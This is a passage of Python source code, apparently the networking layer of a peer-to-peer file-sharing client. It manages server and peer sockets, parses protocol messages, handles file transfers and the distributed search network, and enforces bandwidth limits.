conn_obj.lastcallback) > 1: # We save resources by not sending data back to core # every time a part of a file is uploaded events.emit_main_thread("file-upload-progress", conn_obj.fileupl.init.target_user, conn_obj.fileupl.token, conn_obj.fileupl.offset, conn_obj.fileupl.sentbytes) conn_obj.lastcallback = current_time if not conn_obj.obuf: # Nothing else to send, stop watching connection for writes self._modify_connection_events(conn_obj, selectors.EVENT_READ) """ Networking Loop """ def run(self): events.emit_main_thread("set-connection-stats") self.upnp = UPnP() # Watch sockets for I/0 readiness with the selectors module. Only call register() after a socket # is bound, otherwise watching the socket not guaranteed to work (breaks on OpenBSD at least) self._selector = selectors.DefaultSelector() while not self._want_abort: if not self._should_process_queue: time.sleep(0.1) continue current_time = time.time() num_sockets = self._numsockets # Send updated connection count to core. Avoid sending too many # updates at once, if there are a lot of connections. if (current_time - self._last_conn_stat_time) >= 1: events.emit_main_thread("set-connection-stats", self._numsockets, self._total_downloads, self._total_download_bandwidth, self._total_uploads, self._total_upload_bandwidth) # Close stale outgoing connection attempts for sock, conn_obj in self._connsinprogress.copy().items(): self._close_conn_in_progress_if_stale(conn_obj, sock, current_time) # Close inactive connections for sock, conn_obj in self._conns.copy().items(): self._close_connection_if_inactive(conn_obj, sock, current_time, num_sockets) self._total_download_bandwidth = 0 self._total_upload_bandwidth = 0 self._last_conn_stat_time = current_time # Process queue messages self._process_queue_messages() # Check which connections are ready to send/receive data self._process_ready_sockets(current_time) # Reset transfer speed limits self._ulimits = {} self._dlimits = {} self._calc_loops_per_second(current_time) # Don't exhaust the CPU time.sleep(1 / 60) # Networking thread aborted self._manual_server_disconnect = True self._server_disconnect() self._selector.close()
|
__label__pos
| 0.983349 |
ncohen ncohen - 1 year ago 70
TypeScript Question
Access exported component within the component
I would like to send the component from within the component meaning when I have this:
@Component({
selector: 'my-component',
templateUrl: 'my.template.html'
})
export class MyComponent {
private myVar: any;
constructor(){
}
myFunction() =>{
}
}
Outside of the class I can simply call:
import { MyComponent } from './my.component';
But I would like to get
MyComponent
within the class:
myFunction() =>{
this.myVar = **MyComponment**
}
How to get
**MyComponent**
?
Please note that I don't want the instance but need the class itself.
EDIT:
I realize my question is not clear enough. Here is what I need to do... I need to extract the component and recreate it somewhere else. In another component I have the following:
export class MyOtherComponent {
constructor(private viewContainer: ViewContainerRef, private componentFactoryResolver: ComponentFactoryResolver){
}
createComponent(myComponent) =>{
var factory = this.componentFactoryResolver.resolveComponentFactory(myComponent);
var compRef = this.viewContainer.createComponent(factory);
container.getElement().append($(compRef.location.nativeElement));
}
}
So Inside
MyComponent
I want to be able to do this:
myFunction() =>{
this.myOtherComponent.createComponent(**MyComponent**)
}
Answer Source
You should be able to just refer to it with the class name.
class MyComponent {
private myVar: MyComponent;
constructor(){
console.log("created!")
}
myFunction () {
var myVar = MyComponent;
new myVar();
}
}
You can check out the resulting js here.
|
__label__pos
| 0.99871 |
Documentation
Index
Constants
View Source
const (
ServiceAccountUsernamePrefix = "system:serviceaccount:"
ServiceAccountUsernameSeparator = ":"
ServiceAccountGroupPrefix = "system:serviceaccounts:"
AllServiceAccountsGroup = "system:serviceaccounts"
// PodNameKey is the key used in a user's "extra" to specify the pod name of
// the authenticating request.
PodNameKey = "authentication.kubernetes.io/pod-name"
// PodUIDKey is the key used in a user's "extra" to specify the pod UID of
// the authenticating request.
PodUIDKey = "authentication.kubernetes.io/pod-uid"
)
Variables
This section is empty.
Functions
func GetOrCreateServiceAccount
func GetOrCreateServiceAccount(coreClient v1core.CoreV1Interface, namespace, name string) (*v1.ServiceAccount, error)
func IsServiceAccountToken
func IsServiceAccountToken(secret *v1.Secret, sa *v1.ServiceAccount) bool
IsServiceAccountToken returns true if the secret is a valid api token for the service account
func MakeGroupNames
func MakeGroupNames(namespace string) []string
MakeGroupNames generates service account group names for the given namespace
func MakeNamespaceGroupName
func MakeNamespaceGroupName(namespace string) string
MakeNamespaceGroupName returns the name of the group all service accounts in the namespace are included in
func MakeUsername
func MakeUsername(namespace, name string) string
MakeUsername generates a username from the given namespace and ServiceAccount name. The resulting username can be passed to SplitUsername to extract the original namespace and ServiceAccount name.
func MatchesUsername
func MatchesUsername(namespace, name string, username string) bool
MatchesUsername checks whether the provided username matches the namespace and name without allocating. Use this when checking a service account namespace and name against a known string.
func SplitUsername
func SplitUsername(username string) (string, string, error)
SplitUsername returns the namespace and ServiceAccount name embedded in the given username, or an error if the username is not a valid name produced by MakeUsername
func UserInfo
func UserInfo(namespace, name, uid string) user.Info
UserInfo returns a user.Info interface for the given namespace, service account name and UID
Types
type ServiceAccountInfo
type ServiceAccountInfo struct {
Name, Namespace, UID string
PodName, PodUID string
}
func (*ServiceAccountInfo) UserInfo
func (sa *ServiceAccountInfo) UserInfo() user.Info
Source Files
|
__label__pos
| 0.642726 |
Apache Struts 2 CVE-2017-5638 Docker Container
In line with the recent Apache Log4j CVE-2021-44832, and since we’re exploring Docker containers, I think its the perfect time to explore another Apache vulnerability. In this post, we’ll be look at Apache Struts 2.
CVE-2017-5638
Apache Struts is a popular framework for developing web applications. Like Log4j, it’s written in Java. In 2017, a vulnerability was discovered. An attacker could perform remote code execution on a victim server. One of the victims, Equifax, suffered a catastrophic data breach.
The vulnerable code was in the Jakarta Multipart parser. If the Content-Type value isn’t valid, that is, it does not match an expected valid type, an exception is thrown that is then used to display an error message to a user. In this case, we can set the Content-Type to an OGNL expression such as:
Content-Type: ${(#_='multipart/form-data')
The vulnerability occurs because the Content-Type is not escaped after the error, and is then used by LocalizedTextUtil.findText function to build the error message. This function will interpret the supplied message, and anything within ${…} will be treated as an Object Graph Navigation Library (OGNL) expression and evaluated as such. The attacker can leverage these conditions to execute OGNL expressions that in turn execute system commands. This is almost similar to Log4j where commands and arbitrary code could be executed directly from the logger.
Getting the Container & Exploit
The vulnerable version of Struts 2 is available as a docker container here: Apache Struts 2 CVE-2017-5638 Container. We will deploy the container and run the exploit to test it out. This will show us how third party frameworks, like Apache Struts 2, can be exploited even when running in a container environment, such as Docker.
1. Ensure you have an account at Docker Hub
2. Log into Docker Hub from your local Docker instance with docker login
3. Run the following commands to pull and run the vulnerable container:
docker pull piesecurity/apache-struts2-cve-2017-5638
docker run -d -p 9080:8080 --rm --name apache piesecurity/apache-struts2-cve-2017-5638
4. If you don’t have Python, install it
5. Create a Python script called exploit.py and copy/paste the following code into it:
import http.client
import urllib.error
import urllib.parse
import urllib.request
def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib.request.Request(url, headers=headers)
page = urllib.request.urlopen(request).read()
except http.client.IncompleteRead as e:
page = e.partial
print(page)
return page
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] str.py <url> <cmd>")
else:
print('[*]CVE: 2017-5638 - Apache Struts2 S2-045')
url = sys.argv[1]
cmd = sys.argv[2]
print(("[*] cmd: %s\n" % cmd))
exploit(url, cmd)
Hacking
1. Run docker ps from the terminal to check that the container is running.
2. Once the struts container is running, go to localhost:9080/ - you should see a welcome screen for Struts2 Showcase.
3. Begin testing the RCE. You can now issue commands to the container outside of its shell with the following syntax:
python exploit.py http://localhost:9080/ "whoami"
4. You’ll see b’root\n' printed to the terminal if everything worked correctly. Replace whoami to experiment with other commands as if you were executing commands from within the container.
• pwd
• ls
• ls -la
5. When you’re finished, you can stop the docker with docker stop apache
Summary
Distrust, verify, and stay suspicious.
I hope this demonstrates the importance of security when dealing with Docker containers and third party programs. Although in today’s world, you probably shouldn’t build everything from scratch (as you’ll probably introduce more vulnerabilities if you don’t know what you’re doing) you should at least be aware of the risks when using any third party framework, library, or program - even if it is open source and audited. Always stay up to date on the latest security patches for your critical systems.
References / Additional Info
Docker for Developers
Apache Struts 2
Apache Struts 2 CVE-2017-5638 Container
Apache Commons OGNL - Object Graph Navigation Library
Exploit Demo for CVE-2017-5638
Equifax Data Breach
CVE-2017-5638: The Apache Struts vulnerability explained
CVE-2021-44228 - Log4j - MINECRAFT VULNERABLE!
|
__label__pos
| 0.65652 |
Yes, I do realize this node has an odd structure. This is because it used to be "The four most important numbers" and it had two or three other posts. When I posted mine (origanally all this but the first paragraph), I simply explained why I believed i should be the fifth most important number. Being the lazy-ass that I am, I decided to just put a first paragraph in as an introduction, since by this time, the other posts were nuked. So in conclusion, please forgive the odd structure of this node.
On my way back from a Mu Alpha Theta competition, a fellow student of mine asked me what were the five most important numbers. I sat and thought about it for a few minutes and responded, "Pi, e, , 1 and infinity". He then explained that infinity is not a number. I then sat back into my seat and rethought. Hmmm, what's another— and then it popped into my mind...
Many consider i (the square root of -1) to be another extremely important number. Why is it important, you ask? My guess is its impact on mathematics. If you think about it, the discovery of i created a whole new field of mathematics, possibly even eventually leading toward some of the non-real mathematics that we do today, like fuzzy logic (like when something can be both true and false!). All of these five numbers (, 1, e, π and i) can be found in the equation "ei + 1 = 0". This is Euler's Relation.
If you don't understand why this works, here's an explanation:
eia = cos(a) + i *sin(a)
ei = cos(π) + i *sin(π)
ei = -1 + i *0
ei = -1 + 0
ei + 1 = 0
note: A more complete and better explained proof can be found at Euler Formula
As for why the other numbers are important, here's my take:
0; for the longest time, people didn't have the concept of nothing. Believe it or not, the idea of zero wasn't thought up until the dark ages! One of my favorate math jokes was from a movie when one guy says to the other "I've discovered it!" and the other guy goes "What?" and the first guy responds, "Oh, nothing, nothing." Zero is a lot like sex. Before you know about it, it isn't a necessity at all. Once you find about about it, it's really cool and useful. Zero also has some very odd properties. Like you can multiply with any real number to produce itself! It is also neither positive nor negitive. It isn't even real, but it isn't imaginary, either! It's just... nothing! It's the bulls-eye on the Cartesian coordinate system (also know as the origin) and on the complex plane.
1; this is another number with odd properties. Like whenever you multiply it by another real number, you always get that number! It is also the only number with only one factor: itself, which means one is neither prime (having only two divisors, 1 and itself) or composite (having more than two divisors) note: 1 is not prime has a very good discussion on this. It is, in one word, "unity". Sing it! "One... is the loneliest number..."
π; (~3.14) this constant gave birth an easy (well, not THAT easy since you can't precisely calculate π) way to calculate areas of round-shaped objects, like circles,elipses, spheres, etc. Instead of having to look at really small portions of the shape and approximating those values, all one would need to do (for a circle/ellipse) is measure the major axis and minor axis, multiply those together and then multiply by π. π defined as the ratio between the circumference and diameter of a circle.
e; (~2.71) this constant, created by Euler (and named after him, to boot), is defined as
lim (1+1/x)x.
x
This number is very important because it can be used in almost every branch of mathematics. For example, it can be used to calculate continuously compounded interest, which banks use.
for more information on why these numbers are so special, visit , 1, e, pi, i
Hey? Why isn't positive and negative infinity on the list of the the 5 most important numbers?!
#1, because positive and negative infinity are the same thing, because if you keep going in one direction, you'll eventually converge with all other directions.
#2, because infinity is not a number, it's a concept.
Log in or register to write something here or to contact authors.
|
__label__pos
| 0.970172 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.